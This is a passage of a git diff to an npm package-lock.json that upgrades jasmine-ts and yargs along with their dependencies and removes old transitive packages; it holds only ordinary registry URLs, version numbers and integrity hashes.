"sha1-8BLMuEFbcJb8LaoQVMPXI4lZTHM=", - "dev": true, - "dependencies": { - "pify": "^2.0.0" - }, - "engines": { - "node": ">=4" - } - }, "node_modules/performance-now": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", @@ -4079,15 +3873,6 @@ "url": "https://github.com/sponsors/jonschlinkert" } }, - "node_modules/pify": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", - "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, "node_modules/pinkie": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz", @@ -4159,12 +3944,6 @@ "node": ">=0.4.0" } }, - "node_modules/pseudomap": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/pseudomap/-/pseudomap-1.0.2.tgz", - "integrity": "sha1-8FKijacOYYkX7wqKw0wa5aaChrM=", - "dev": true - }, "node_modules/psl": { "version": "1.8.0", "resolved": "https://registry.npmjs.org/psl/-/psl-1.8.0.tgz", @@ -4192,33 +3971,6 @@ "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/read-pkg": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-2.0.0.tgz", - "integrity": "sha1-jvHAYjxqbbDcZxPEv6xGMysjaPg=", - "dev": true, - "dependencies": { - "load-json-file": "^2.0.0", - "normalize-package-data": "^2.3.2", - "path-type": "^2.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/read-pkg-up": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-2.0.0.tgz", - "integrity": "sha1-a3KoBImE4MQeeVEP1en6mbO1Sb4=", - "dev": true, - "dependencies": { - "find-up": "^2.0.0", - "read-pkg": "^2.0.0" - }, - "engines": { - "node": ">=4" - } - }, "node_modules/regexpp": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-3.1.0.tgz", @@ -4340,12 +4092,6 @@ "node": ">=0.10.0" } }, - "node_modules/require-main-filename": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-1.0.1.tgz", - "integrity": "sha1-l/cXtp1IeE9fUmpsWqj/3aBVpNE=", - "dev": true - }, "node_modules/requires-port": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", @@ -4561,21 +4307,6 @@ "integrity": "sha1-8aAymzCLIh+uN7mXTz1XjQypmeM=", "dev": true }, - "node_modules/semver": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", - "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", - "dev": true, - "bin": { - "semver": "bin/semver" - } - }, - "node_modules/set-blocking": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", - "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=", - "dev": true - }, "node_modules/shebang-command": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-1.2.0.tgz", @@ -4668,38 +4399,6 @@ "source-map": "^0.6.0" } }, - "node_modules/spdx-correct": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.1.0.tgz", - "integrity": "sha512-lr2EZCctC2BNR7j7WzJ2FpDznxky1sjfxvvYEyzxNyb6lZXHODmEoJeFu4JupYlkfha1KZpJyoqiJ7pgA1qq8Q==", - "dev": true, - "dependencies": { - "spdx-expression-parse": "^3.0.0", - "spdx-license-ids": "^3.0.0" - } - }, - "node_modules/spdx-exceptions": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.2.0.tgz", - "integrity": "sha512-2XQACfElKi9SlVb1CYadKDXvoajPgBVPn/gOQLrTvHdElaVhr7ZEbqJaRnJLVNeaI4cMEAgVCeBMKF6MWRDCRA==", - "dev": true - }, - "node_modules/spdx-expression-parse": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.0.tgz", - "integrity": "sha512-Yg6D3XpRD4kkOmTpdgbUiEJFKghJH03fiC1OPll5h/0sO6neh2jqRDVHOQ4o/LMea0tgCkbMgea5ip/e+MkWyg==", - "dev": true, - "dependencies": { - "spdx-exceptions": "^2.1.0", - "spdx-license-ids": "^3.0.0" - } - }, - "node_modules/spdx-license-ids": { - "version": "3.0.5", - "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.5.tgz", - "integrity": "sha512-J+FWzZoynJEXGphVIS+XEh3kFSjZX/1i9gFBaWQcB+/tmpe2qUsSBABpcxqxnAxFdiUFEgAX1bjYGQvIZmoz9Q==", - "dev": true - }, "node_modules/sprintf-js": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", @@ -4836,15 +4535,6 @@ "node": ">=4" } }, - "node_modules/strip-eof": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/strip-eof/-/strip-eof-1.0.0.tgz", - "integrity": "sha1-u0P/VZim6wXYm1n80SnJgzE2Br8=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, "node_modules/strip-json-comments": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", @@ -5161,16 +4851,6 @@ "integrity": "sha512-8OQ9CL+VWyt3JStj7HX7/ciTL2V3Rl1Wf5OL+SNTm0yK1KvtReVulksyeRnCANHHuUxHlQig+JJDlUhBt1NQDQ==", "dev": true }, - "node_modules/validate-npm-package-license": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz", - "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==", - "dev": true, - "dependencies": { - "spdx-correct": "^3.0.0", - "spdx-expression-parse": "^3.0.0" - } - }, "node_modules/verror": { "version": "1.10.0", "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz", @@ -5265,12 +4945,6 @@ "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/which-module": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.0.tgz", - "integrity": "sha1-2e8H3Od7mQK4o6j6SzHD4/fm6Ho=", - "dev": true - }, "node_modules/word-wrap": { "version": "1.2.3", "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.3.tgz", @@ -5287,30 +4961,88 @@ "dev": true }, "node_modules/wrap-ansi": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz", - "integrity": "sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", "dev": true, "dependencies": { - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1" + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" }, "engines": { - "node": ">=0.10.0" + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" } }, - "node_modules/wrap-ansi/node_modules/string-width": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", - "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", + "node_modules/wrap-ansi/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", "dev": true, - "dependencies": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" }, "engines": { - "node": ">=0.10.0" + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/wrap-ansi/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/wrap-ansi/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/wrap-ansi/node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" } }, "node_modules/wrappy": { @@ -5365,45 +5097,74 @@ "dev": true }, "node_modules/y18n": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/y18n/-/y18n-3.2.2.tgz", - "integrity": "sha512-uGZHXkHnhF0XeeAPgnKfPv1bgKAYyVvmNL1xlKsPYZPaIHxGti2hHqvOCQv71XMsLxu1QjergkqogUnms5D3YQ==", - "dev": true - }, - "node_modules/yallist": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz", - "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=", - "dev": true + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "dev": true, + "engines": { + "node": ">=10" + } }, "node_modules/yargs": { - "version": "8.0.2", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-8.0.2.tgz", - "integrity": "sha1-YpmpBVsc78lp/355wdkY3Osiw2A=", + "version": "17.3.1", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.3.1.tgz", + "integrity": "sha512-WUANQeVgjLbNsEmGk20f+nlHgOqzRFpiGWVaBrYGYIGANIIu3lWjoyi0fNlFmJkvfhCZ6BXINe7/W2O2bV4iaA==", "dev": true, "dependencies": { - "camelcase": "^4.1.0", - "cliui": "^3.2.0", - "decamelize": "^1.1.1", - "get-caller-file": "^1.0.1", - "os-locale": "^2.0.0", - "read-pkg-up": "^2.0.0", + "cliui": "^7.0.2", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", "require-directory": "^2.1.1", - "require-main-filename": "^1.0.1", - "set-blocking": "^2.0.0", - "string-width": "^2.0.0", - "which-module": "^2.0.0", - "y18n": "^3.2.1", - "yargs-parser": "^7.0.0" + "string-width": "^4.2.3", + "y18n": "^5.0.5", + "yargs-parser": "^21.0.0" + }, + "engines": { + "node": ">=12" } }, "node_modules/yargs-parser": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-7.0.0.tgz", - "integrity": "sha1-jQrELxbqVd69MyyvTEA4s+P139k=", + "version": "21.0.0", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.0.0.tgz", + "integrity": "sha512-z9kApYUOCwoeZ78rfRYYWdiU/iNL6mwwYlkkZfJoyMR1xps+NEBX5X7XmRpxkZHhXJ6+Ey00IwKxBBSW9FIjyA==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/yargs/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/yargs/node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", "dev": true, "dependencies": { - "camelcase": "^4.1.0" + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/yargs/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" } }, "node_modules/yn": { @@ -5933,12 +5694,6 @@ "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", "dev": true }, - "camelcase": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-4.1.0.tgz", - "integrity": "sha1-1UVjW+HjPFQmScaRc+Xeas+uNN0=", - "dev": true - }, "caseless": { "version": "0.12.0", "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz", @@ -5990,35 +5745,44 @@ "dev": true }, "cliui": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-3.2.0.tgz", - "integrity": "sha1-EgYBU3qRbSmUD5NNo7SNWFo5IT0=", + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz", + "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", "dev": true, "requires": { - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1", - "wrap-ansi": "^2.0.0" + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^7.0.0" }, "dependencies": { + "ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true + }, "string-width": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", - "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "requires": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + } + }, + "strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", "dev": true, "requires": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" + "ansi-regex": "^5.0.1" } } } }, - "code-point-at": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/code-point-at/-/code-point-at-1.1.0.tgz", - "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=", - "dev": true - }, "color-convert": { "version": "1.9.3", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", @@ -6079,17 +5843,6 @@ "integrity": "sha1-jtolLsqrWEDc2XXOuQ2TcMgZ/4c=", "dev": true }, - "cross-spawn": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-5.1.0.tgz", - "integrity": "sha1-6L0O/uWPz/b4+UUQoKVUu/ojVEk=", - "dev": true, - "requires": { - "lru-cache": "^4.0.1", - "shebang-command": "^1.2.0", - "which": "^1.2.9" - } - }, "crypt": { "version": "0.0.2", "resolved": "https://registry.npmjs.org/crypt/-/crypt-0.0.2.tgz", @@ -6148,12 +5901,6 @@ "ms": "^2.1.1" } }, - "decamelize": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz", - "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=", - "dev": true - }, "deep-is": { "version": "0.1.3", "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.3.tgz", @@ -6241,15 +5988,6 @@ "iconv-lite": "~0.4.13" } }, - "error-ex": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", - "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", - "dev": true, - "requires": { - "is-arrayish": "^0.2.1" - } - }, "es-abstract": { "version": "1.19.1", "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.19.1.tgz", @@ -6289,6 +6027,12 @@ "is-symbol": "^1.0.2" } }, + "escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", + "dev": true + }, "escape-string-regexp": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", @@ -6526,12 +6270,6 @@ } } }, - "is-fullwidth-code-point": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", - "dev": true - }, "mimic-fn": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", @@ -6872,21 +6610,6 @@ "integrity": "sha512-qerSRB0p+UDEssxTtm6EDKcE7W4OaoisfIMl4CngyEhjpYglocpNg6UEqCvemdGhosAsg4sO2dXJOdyBifPGCg==", "dev": true }, - "execa": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/execa/-/execa-0.7.0.tgz", - "integrity": "sha1-lEvs00zEHuMqY6n68nrVpl/Fl3c=", - "dev": true, - "requires": { - "cross-spawn": "^5.0.1", - "get-stream": "^3.0.0", - "is-stream": "^1.1.0", - "npm-run-path": "^2.0.0", - "p-finally": "^1.0.0", - "signal-exit": "^3.0.0", - "strip-eof": "^1.0.0" - } - }, "extend": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", @@ -7037,9 +6760,9 @@ "dev": true }, "get-caller-file": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-1.0.3.tgz", - "integrity": "sha512-3t6rVToeoZfYSGd8YoLFR2DJkiQrIiUrGcjvFX2mDw3bn6k2OtwHN0TNCLbBO+w8qTvimhDkv+LSscbJY1vE6w==", + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", "dev": true }, "get-intrinsic": { @@ -7053,12 +6776,6 @@ "has-symbols": "^1.0.1" } }, - "get-stream": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz", - "integrity": "sha1-jpQ9E1jcN1VQVOy+LtsFqhdO3hQ=", - "dev": true - }, "get-symbol-description": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.0.0.tgz", @@ -7270,12 +6987,6 @@ "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", "dev": true }, - "hosted-git-info": { - "version": "2.8.9", - "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz", - "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==", - "dev": true - }, "html-encoding-sniffer": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-1.0.2.tgz", @@ -7463,24 +7174,12 @@ "side-channel": "^1.0.4" } }, - "invert-kv": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-1.0.0.tgz", - "integrity": "sha1-EEqOSqym09jNFXqO+L+rLXo//bY=", - "dev": true - }, "ip-regex": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/ip-regex/-/ip-regex-2.1.0.tgz", "integrity": "sha1-+ni/XS5pE8kRzp+BnuUUa7bYROk=", "dev": true }, - "is-arrayish": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", - "integrity": "sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=", - "dev": true - }, "is-bigint": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.0.4.tgz", @@ -7537,13 +7236,10 @@ "dev": true }, "is-fullwidth-code-point": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz", - "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", - "dev": true, - "requires": { - "number-is-nan": "^1.0.0" - } + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true }, "is-glob": { "version": "4.0.3", @@ -7659,12 +7355,12 @@ "dev": true }, "jasmine-ts": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/jasmine-ts/-/jasmine-ts-0.3.0.tgz", - "integrity": "sha512-K5joodjVOh3bnD06CNXC8P5htDq/r0Rhjv66ECOpdIGFLly8kM7V+X/GXcd9kv+xO+tIq3q9Y8B5OF6yr/iiDw==", + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/jasmine-ts/-/jasmine-ts-0.4.0.tgz", + "integrity": "sha512-bIAWJKUwxfuZfGI1ctEbny7+dsyFzsN0eLzOokxh0qIUCofai2WUEKoe3MMllkGEBXJzbEVYr2IyhJBv4j7SBA==", "dev": true, "requires": { - "yargs": "^8.0.2" + "yargs": "^17.0.1" } }, "javascript-obfuscator": { @@ -8072,15 +7768,6 @@ "verror": "1.10.0" } }, - "lcid": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/lcid/-/lcid-1.0.0.tgz", - "integrity": "sha1-MIrMr6C8SDo4Z7S28rlQYlHRuDU=", - "dev": true, - "requires": { - "invert-kv": "^1.0.0" - } - }, "levn": { "version": "0.3.0", "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz", @@ -8091,18 +7778,6 @@ "type-check": "~0.3.2" } }, - "load-json-file": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-2.0.0.tgz", - "integrity": "sha1-eUfkIUmvgNaWy/eXvKq8/h/inKg=", - "dev": true, - "requires": { - "graceful-fs": "^4.1.2", - "parse-json": "^2.2.0", - "pify": "^2.0.0", - "strip-bom": "^3.0.0" - } - }, "locate-path": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-2.0.0.tgz", @@ -8125,16 +7800,6 @@ "integrity": "sha1-7dFMgk4sycHgsKG0K7UhBRakJDg=", "dev": true }, - "lru-cache": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.5.tgz", - "integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==", - "dev": true, - "requires": { - "pseudomap": "^1.0.2", - "yallist": "^2.1.2" - } - }, "make-error": { "version": "1.3.5", "resolved": "https://registry.npmjs.org/make-error/-/make-error-1.3.5.tgz", @@ -8152,15 +7817,6 @@ "is-buffer": "~1.1.1" } }, - "mem": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/mem/-/mem-1.1.0.tgz", - "integrity": "sha1-Xt1StIXKHZAP5kiVUFOZoN+kX3Y=", - "dev": true, - "requires": { - "mimic-fn": "^1.0.0" - } - }, "merge2": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", @@ -8258,33 +7914,6 @@ "is-stream": "^1.0.1" } }, - "normalize-package-data": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz", - "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==", - "dev": true, - "requires": { - "hosted-git-info": "^2.1.4", - "resolve": "^1.10.0", - "semver": "2 || 3 || 4 || 5", - "validate-npm-package-license": "^3.0.1" - } - }, - "npm-run-path": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-2.0.2.tgz", - "integrity": "sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=", - "dev": true, - "requires": { - "path-key": "^2.0.0" - } - }, - "number-is-nan": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz", - "integrity": "sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=", - "dev": true - }, "nwsapi": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.0.tgz", @@ -8433,29 +8062,12 @@ "wordwrap": "~1.0.0" } }, - "os-locale": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-2.1.0.tgz", - "integrity": "sha512-3sslG3zJbEYcaC4YVAvDorjGxc7tv6KVATnLPZONiljsUncvihe9BQoVCEs0RZ1kmf4Hk9OBqlZfJZWI4GanKA==", - "dev": true, - "requires": { - "execa": "^0.7.0", - "lcid": "^1.0.0", - "mem": "^1.1.0" - } - }, "os-tmpdir": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz", "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=", "dev": true }, - "p-finally": { - "version": "1.0.0", - "resolved": 